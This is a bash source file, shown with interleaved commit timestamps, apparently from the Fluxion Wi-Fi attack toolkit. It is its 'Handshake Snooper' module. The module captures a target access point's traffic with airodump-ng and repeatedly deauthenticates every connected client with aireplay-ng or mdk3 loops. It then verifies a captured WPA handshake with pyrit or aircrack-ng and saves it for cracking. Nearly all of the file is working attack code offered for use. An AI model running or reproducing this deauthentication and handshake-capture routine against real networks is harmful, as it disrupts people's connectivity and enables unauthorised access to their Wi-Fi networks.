2017-08-08 12:21:46 -06:00
|
|
|
#!/bin/bash
|
|
|
|
|
|
|
|
########################### < Handshake Snooper Parameters > ###########################
|
|
|
|
|
|
|
|
HandshakeSnooperState="Not Ready"
|
|
|
|
|
|
|
|
################################# < Handshake Snooper > ################################
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_arbiter_daemon() {
|
|
|
|
if [ ${#@} -lt 1 ]; then return 1; fi
|
|
|
|
|
|
|
|
# Start daemon in the running state to continue execution until aborted,
|
|
|
|
# or until a hash has been verified to exist in the capture file.
|
|
|
|
# NOTE: The line below must remain before trap to prevent race conditions.
|
|
|
|
local handshake_snooper_arbiter_daemon_state="running"
|
|
|
|
|
|
|
|
function handshake_snooper_arbiter_daemon_abort() {
|
|
|
|
handshake_snooper_arbiter_daemon_state="aborted"
|
|
|
|
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then
|
|
|
|
kill $handshake_snooper_arbiter_daemon_viewerPID
|
|
|
|
fi
|
|
|
|
|
|
|
|
handshake_snooper_stop_deauthenticator
|
|
|
|
handshake_snooper_stop_captor
|
2017-08-08 12:21:46 -06:00
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
trap handshake_snooper_arbiter_daemon_abort SIGABRT
|
2017-08-08 12:21:46 -06:00
|
|
|
|
|
|
|
source lib/HashUtils.sh
|
2017-11-28 21:46:00 -07:00
|
|
|
source lib/ColorUtils.sh
|
2017-09-10 05:20:08 -06:00
|
|
|
|
2017-11-30 21:46:13 -07:00
|
|
|
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" > $FLUXIONWorkspacePath/handshake_snooper.log
|
2017-11-29 22:19:42 -07:00
|
|
|
|
|
|
|
# Display some feedback to the user to assure verifier is working.
|
|
|
|
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f $FLUXIONWorkspacePath/handshake_snooper.log" &
|
|
|
|
local handshake_snooper_arbiter_daemon_viewerPID=$!
|
|
|
|
|
|
|
|
handshake_snooper_start_captor; sleep 5
|
|
|
|
handshake_snooper_start_deauthenticator
|
|
|
|
|
|
|
|
local handshake_snooper_arbiter_daemon_verified=1 # Assume it hasn't been verified yet (1 => false/error).
|
|
|
|
|
|
|
|
# Keep snooping and verifying until we've got a valid hash from the capture file.
|
|
|
|
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
|
2017-11-30 21:46:13 -07:00
|
|
|
echo -e "[$(env -i date '+%H:%M:%S')] `io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice`" >> $FLUXIONWorkspacePath/handshake_snooper.log
|
2017-11-29 22:19:42 -07:00
|
|
|
sleep $HANDSHAKEVerifierInterval;
|
|
|
|
|
|
|
|
# Check for abort after every blocking operation.
|
|
|
|
if [ "$handshake_snooper_arbiter_daemon_state" = "aborted" ]; then break; fi
|
|
|
|
|
|
|
|
# If synchronously searching, stop the captor and deauthenticator before checking.
|
|
|
|
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
|
2017-11-30 21:46:13 -07:00
|
|
|
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >> $FLUXIONWorkspacePath/handshake_snooper.log
|
2017-11-29 22:19:42 -07:00
|
|
|
handshake_snooper_stop_deauthenticator
|
|
|
|
handshake_snooper_stop_captor
|
|
|
|
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
|
|
|
|
else
|
|
|
|
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> $FLUXIONOutputDevice
|
|
|
|
fi
|
2017-08-08 12:21:46 -06:00
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
# Check for abort after every blocking operation.
|
|
|
|
if [ "$handshake_snooper_arbiter_daemon_state" = "aborted" ]; then break; fi
|
2017-11-28 21:46:00 -07:00
|
|
|
|
2017-11-30 21:46:13 -07:00
|
|
|
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >> $FLUXIONWorkspacePath/handshake_snooper.log
|
2017-11-29 22:19:42 -07:00
|
|
|
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC"
|
|
|
|
handshake_snooper_arbiter_daemon_verified=$?
|
2017-11-28 21:46:00 -07:00
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
# Check for abort after every blocking operation.
|
|
|
|
if [ "$handshake_snooper_arbiter_daemon_state" = "aborted" ]; then break; fi
|
2017-11-28 21:46:00 -07:00
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
# If synchronously searching, restart the captor and deauthenticator after checking.
|
2017-11-30 21:49:39 -07:00
|
|
|
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
|
2017-11-29 22:19:42 -07:00
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
|
|
|
|
handshake_snooper_start_captor; sleep 5
|
|
|
|
handshake_snooper_start_deauthenticator
|
|
|
|
|
|
|
|
# Check for abort after every blocking operation.
|
|
|
|
if [ "$handshake_snooper_arbiter_daemon_state" = "aborted" ]; then break; fi
|
|
|
|
fi
|
2017-08-08 12:21:46 -06:00
|
|
|
done
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
# Stop captor and deauthenticator if we were searching asynchronously.
|
|
|
|
if [ "$HANDSHAKEVerifierSynchronicity" = "non-blocking" ]; then
|
|
|
|
handshake_snooper_stop_deauthenticator
|
|
|
|
handshake_snooper_stop_captor
|
|
|
|
fi
|
2017-11-28 21:46:00 -07:00
|
|
|
|
2017-08-08 12:21:46 -06:00
|
|
|
# If handshake didn't pass verification, it was aborted.
|
2017-11-29 22:19:42 -07:00
|
|
|
if [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
|
2017-11-30 21:46:13 -07:00
|
|
|
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >> $FLUXIONWorkspacePath/handshake_snooper.log
|
2017-11-28 21:46:00 -07:00
|
|
|
return 1
|
|
|
|
else
|
2017-11-30 21:46:13 -07:00
|
|
|
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterSuccededNotice" >> $FLUXIONWorkspacePath/handshake_snooper.log
|
2017-11-28 21:46:00 -07:00
|
|
|
fi
|
2017-08-08 12:21:46 -06:00
|
|
|
|
2017-11-30 21:46:13 -07:00
|
|
|
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterCompletedTip" >> $FLUXIONWorkspacePath/handshake_snooper.log
|
2017-11-30 16:00:27 -07:00
|
|
|
|
2017-08-09 17:36:23 -06:00
|
|
|
# Assure we've got a directory to store hashes into.
|
2017-11-30 14:15:31 -07:00
|
|
|
local handshake_snooper_arbiter_daemon_hashDirectory="$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
|
2017-11-29 22:19:42 -07:00
|
|
|
if [ ! -d "$handshake_snooper_arbiter_daemon_hashDirectory" ]; then
|
|
|
|
mkdir -p "$handshake_snooper_arbiter_daemon_hashDirectory"
|
2017-08-09 17:36:23 -06:00
|
|
|
fi
|
|
|
|
|
|
|
|
# Move handshake to storage if one was acquired.
|
2017-11-29 22:19:42 -07:00
|
|
|
mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap"
|
|
|
|
|
|
|
|
# Cleanup files we've created to leave it in original state.
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
|
2017-08-08 12:21:46 -06:00
|
|
|
|
|
|
|
# Signal parent process the verification terminated.
|
|
|
|
kill -s SIGABRT $1
|
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_stop_captor() {
|
|
|
|
if [ "$HANDSHAKECaptorPID" ]; then
|
|
|
|
kill $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
|
2017-08-08 12:21:46 -06:00
|
|
|
fi
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
HANDSHAKECaptorPID=""
|
2017-08-08 12:21:46 -06:00
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_start_captor() {
|
|
|
|
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
|
|
|
|
|
|
|
|
handshake_snooper_stop_captor
|
|
|
|
|
|
|
|
xterm -hold -title "Handshake Captor (CH $APTargetChannel)" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e \
|
|
|
|
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
|
|
|
|
HANDSHAKECaptorPID=$! # Target the xterm, since we won't need to keep it around.
|
2017-08-08 12:21:46 -06:00
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_stop_deauthenticator() {
|
2017-08-08 12:21:46 -06:00
|
|
|
if [ "$HANDSHAKEDeauthenticatorPID" ]; then
|
|
|
|
kill $HANDSHAKEDeauthenticatorPID &> $FLUXIONOutputDevice
|
|
|
|
fi
|
|
|
|
|
|
|
|
HANDSHAKEDeauthenticatorPID=""
|
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_start_deauthenticator() {
|
2017-08-08 12:21:46 -06:00
|
|
|
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
handshake_snooper_stop_deauthenticator
|
2017-08-12 20:23:22 -06:00
|
|
|
|
2017-08-08 14:55:24 -06:00
|
|
|
# Prepare deauthenticators
|
2017-11-29 22:19:42 -07:00
|
|
|
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
2017-08-10 21:02:12 -06:00
|
|
|
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst
|
2017-08-08 14:55:24 -06:00
|
|
|
esac
|
|
|
|
|
|
|
|
# Start deauthenticators.
|
2017-11-29 22:19:42 -07:00
|
|
|
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
2017-11-26 10:36:47 -07:00
|
|
|
"$HandshakeSnooperAireplayMethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
2017-12-01 02:35:54 -07:00
|
|
|
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
|
2017-08-08 12:21:46 -06:00
|
|
|
HANDSHAKEDeauthenticatorPID=$!;;
|
2017-08-10 21:02:12 -06:00
|
|
|
"$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
2017-12-01 02:35:54 -07:00
|
|
|
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
|
2017-08-08 12:21:46 -06:00
|
|
|
HANDSHAKEDeauthenticatorPID=$!;;
|
|
|
|
esac
|
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_unset_deauthenticator_identifier() {
|
|
|
|
HANDSHAKEDeauthenticatorIdentifier=""
|
2017-08-08 12:21:46 -06:00
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_set_deauthenticator_identifier() {
|
|
|
|
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
|
2017-08-12 20:23:22 -06:00
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
handshake_snooper_unset_deauthenticator_identifier
|
2017-08-12 20:23:22 -06:00
|
|
|
|
2017-08-10 21:02:12 -06:00
|
|
|
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
|
|
|
|
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
|
2017-08-08 12:21:46 -06:00
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
|
2017-08-08 12:21:46 -06:00
|
|
|
|
2017-08-12 20:23:22 -06:00
|
|
|
echo
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then
|
2017-12-01 02:35:54 -07:00
|
|
|
handshake_snooper_unset_deauthenticator_identifier
|
2017-08-08 12:21:46 -06:00
|
|
|
return 1
|
|
|
|
fi
|
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_unset_verifier_identifier() {
|
|
|
|
HANDSHAKEVerifierIdentifier=""
|
2017-08-08 12:21:46 -06:00
|
|
|
}
|
|
|
|
|
2017-11-29 22:19:42 -07:00
|
|
|
function handshake_snooper_set_verifier_identifier() {
|
|
|
|
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
|
|
|
|
|
|
|
|
handshake_snooper_unset_verifier_identifier
|
2017-08-08 12:21:46 -06:00
|
|
|
|
2017-08-10 21:02:12 -06:00
|
|
|
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
|
|
|
|
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
|
2017-08-08 12:21:46 -06:00
|
|
|
|
2017-08-12 20:23:22 -06:00
|
|
|
echo
|
|
|
|
|
2017-08-10 21:02:12 -06:00
|
|
|
case "$IOQueryChoice" in
|
2017-11-29 22:19:42 -07:00
|
|
|
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit";;
|
|
|
|
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng";;
|
2017-09-10 05:20:08 -06:00
|
|
|
"$FLUXIONGeneralBackOption")
|
2017-12-01 02:35:54 -07:00
|
|
|
handshake_snooper_unset_verifier_identifier
|
2017-11-29 22:19:42 -07:00
|
|
|
return 1;;
|
|
|
|
esac
|
|
|
|
}
|
|
|
|
|
|
|
|
function handshake_snooper_unset_verifier_interval() {
|
|
|
|
HANDSHAKEVerifierInterval=""
|
|
|
|
}
|
|
|
|
|
|
|
|
function handshake_snooper_set_verifier_interval() {
|
|
|
|
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
|
|
|
|
|
|
|
|
handshake_snooper_unset_verifier_interval
|
|
|
|
|
2017-12-01 02:35:54 -07:00
|
|
|
local choices=("$HandshakeSnooperVerifierInterval30SOption" "$HandshakeSnooperVerifierInterval60SOption" "$HandshakeSnooperVerifierInterval90SOption" "$FLUXIONGeneralBackOption")
|
2017-11-29 22:19:42 -07:00
|
|
|
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
|
|
|
|
|
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30;;
|
2017-12-01 02:35:54 -07:00
|
|
|
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60;;
|
2017-11-29 22:19:42 -07:00
|
|
|
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90;;
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
|
|
handshake_snooper_unset_verifier_interval
|
|
|
|
return 1;;
|
|
|
|
esac
|
|
|
|
}
|
|
|
|
|
|
|
|
function handshake_snooper_unset_verifier_synchronicity() {
|
|
|
|
HANDSHAKEVerifierSynchronicity=""
|
|
|
|
}
|
|
|
|
|
|
|
|
function handshake_snooper_set_verifier_synchronicity() {
|
|
|
|
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
|
|
|
|
|
|
|
|
handshake_snooper_unset_verifier_synchronicity
|
|
|
|
|
|
|
|
local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption")
|
|
|
|
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
|
|
|
|
|
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking";;
|
|
|
|
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking";;
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
|
|
handshake_snooper_unset_verifier_synchronicity
|
2017-08-10 21:02:12 -06:00
|
|
|
return 1;;
|
|
|
|
esac
|
2017-08-08 12:21:46 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
function unprep_attack() {
|
|
|
|
HandshakeSnooperState="Not Ready"
|
2017-11-29 22:19:42 -07:00
|
|
|
handshake_snooper_unset_verifier_synchronicity
|
|
|
|
handshake_snooper_unset_verifier_interval
|
|
|
|
handshake_snooper_unset_verifier_identifier
|
|
|
|
handshake_snooper_unset_deauthenticator_identifier
|
2017-08-08 12:21:46 -06:00
|
|
|
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
|
|
|
|
}
|
|
|
|
|
|
|
|
function prep_attack() {
|
2017-08-10 21:02:12 -06:00
|
|
|
mkdir -p "$FLUXIONWorkspacePath/capture"
|
2017-08-08 12:21:46 -06:00
|
|
|
|
|
|
|
while true; do
|
2017-11-29 22:19:42 -07:00
|
|
|
handshake_snooper_set_deauthenticator_identifier; if [ $? -ne 0 ]; then break; fi
|
|
|
|
handshake_snooper_set_verifier_identifier; if [ $? -ne 0 ]; then
|
2017-12-01 02:35:54 -07:00
|
|
|
handshake_snooper_unset_deauthenticator_identifier; continue
|
2017-11-29 22:19:42 -07:00
|
|
|
fi
|
|
|
|
handshake_snooper_set_verifier_interval; if [ $? -ne 0 ]; then
|
|
|
|
handshake_snooper_unset_verifier_identifier; continue
|
|
|
|
fi
|
|
|
|
handshake_snooper_set_verifier_synchronicity; if [ $? -ne 0 ]; then
|
|
|
|
handshake_snooper_unset_verifier_interval; continue;
|
|
|
|
fi
|
2017-08-08 12:21:46 -06:00
|
|
|
HandshakeSnooperState="Ready"
|
|
|
|
break
|
|
|
|
done
|
|
|
|
|
|
|
|
# Check for handshake abortion.
|
|
|
|
if [ "$HandshakeSnooperState" = "Not Ready" ]; then
|
|
|
|
unprep_attack
|
|
|
|
return 1;
|
|
|
|
fi
|
|
|
|
}
|
|
|
|
|
|
|
|
function stop_attack() {
|
2017-11-29 22:19:42 -07:00
|
|
|
if [ "$HANDSHAKEArbiterPID" ]; then
|
|
|
|
kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice
|
|
|
|
fi
|
|
|
|
|
|
|
|
HANDSHAKEArbiterPID=""
|
2017-08-08 12:21:46 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
function start_attack() {
|
2017-11-29 22:19:42 -07:00
|
|
|
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
|
|
|
|
HANDSHAKEArbiterPID=$!
|
2017-08-08 12:21:46 -06:00
|
|
|
}
|
2017-11-30 00:49:31 -07:00
|
|
|
|
2017-08-08 12:21:46 -06:00
|
|
|
# FLUXSCRIPT END
|